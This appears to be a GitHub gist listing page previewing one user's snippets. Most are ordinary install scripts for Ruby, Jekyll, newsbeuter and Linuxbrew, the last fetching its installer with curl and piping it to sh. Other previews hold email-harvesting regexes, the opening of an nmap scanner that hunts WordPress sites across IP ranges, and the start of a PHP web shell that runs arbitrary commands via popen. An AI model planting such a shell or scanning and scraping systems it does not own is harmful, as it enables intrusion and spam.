Instantly share code, notes, and snippets.

View rubj.sh
#!/bin/sh
#https://jekyllrb.com/docs/installation/ubuntu/
sudo apt-get install ruby ruby-dev build-essential
echo '# Install Ruby Gems to ~/gems' >> ~/.bashrc
echo 'export GEM_HOME=$HOME/gems' >> ~/.bashrc
echo 'export PATH=$HOME/gems/bin:$PATH' >> ~/.bashrc
source ~/.bashrc
#bundle install
sudo gem install jekyll bundler
View emails
(\w+[{]at[}].*[.]com)
[<](\w+.*\w+\sat\s.*[.]\w+)
(([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5}))
View install-webtools.sh
#curl, curl libraries, lynx
#
git clone https://github.com/jarun/googler.git
apt-get install -y curl libcurl4-openssl-dev libcurl4-gnutls-dev lynx
View clean-chromeos.sh
#!/bin/bash
apt-get -y install newsbeuter
touch /home/$USER/.newsbeuter/urls
{
echo "https://hackaday.com/blog/feed/"
echo "https://krebsonsecurity.com/feed/"
echo "http://feeds.foxnews.com/foxnews/latest"
echo "https://www.exploit-db.com/rss.xml"
echo "https://www.0day.today/rss"
View wordpscan.sh
#!/bin/bash
#https://lerie.us/blog
#scan a range of ip's with nmap looking for wordpress sites
#lerie,11:29pm,6/6/18
#fxbg,11:57,6/6/18
#get nmap argument for ip range
if [ "$1" == "" ]; then
echo 'no argument set'
exit
View shell.php
<pre>
<?php
function doCmd($cmd)
{
while(@ob_end_flush());
$proc = popen($cmd." 2>&1 ; echo Exit status : $?", 'r');
$live_output = "";
View install-news.sh
apt-get -y install newsbeuter
touch /home/$USER/.newsbeuter/urls
{
echo "https://hackaday.com/blog/feed/"
echo "https://krebsonsecurity.com/feed/"
echo "http://feeds.foxnews.com/foxnews/latest"
echo "https://www.exploit-db.com/rss.xml"
echo "https://www.0day.today/rss"
echo "https://news.ycombinator.com/rss"
View linux-brew.sh
sh -c "$(curl -fsSL https://raw.githubusercontent.com/Linuxbrew/install/master/install.sh)"
test -d ~/.linuxbrew && PATH="$HOME/.linuxbrew/bin:$HOME/.linuxbrew/sbin:$PATH"
test -d /home/linuxbrew/.linuxbrew && PATH="/home/linuxbrew/.linuxbrew/bin:/home/linuxbrew/.linuxbrew/sbin:$PATH"
test -r ~/.bash_profile && echo "export PATH='$(brew --prefix)/bin:$(brew --prefix)/sbin'":'"$PATH"' >>~/.bash_profile
echo "export PATH='$(brew --prefix)/bin:$(brew --prefix)/sbin'":'"$PATH"' >>~/.profile
View reversing.sh
sudo apt-get -y install ltrace strace gdb
View install-ruby.sh
apt-get -y install software-properties-common
apt-add-repository ppa:brightbox/ruby-ng
apt-get update
apt-get -y install ruby2.4
ruby -v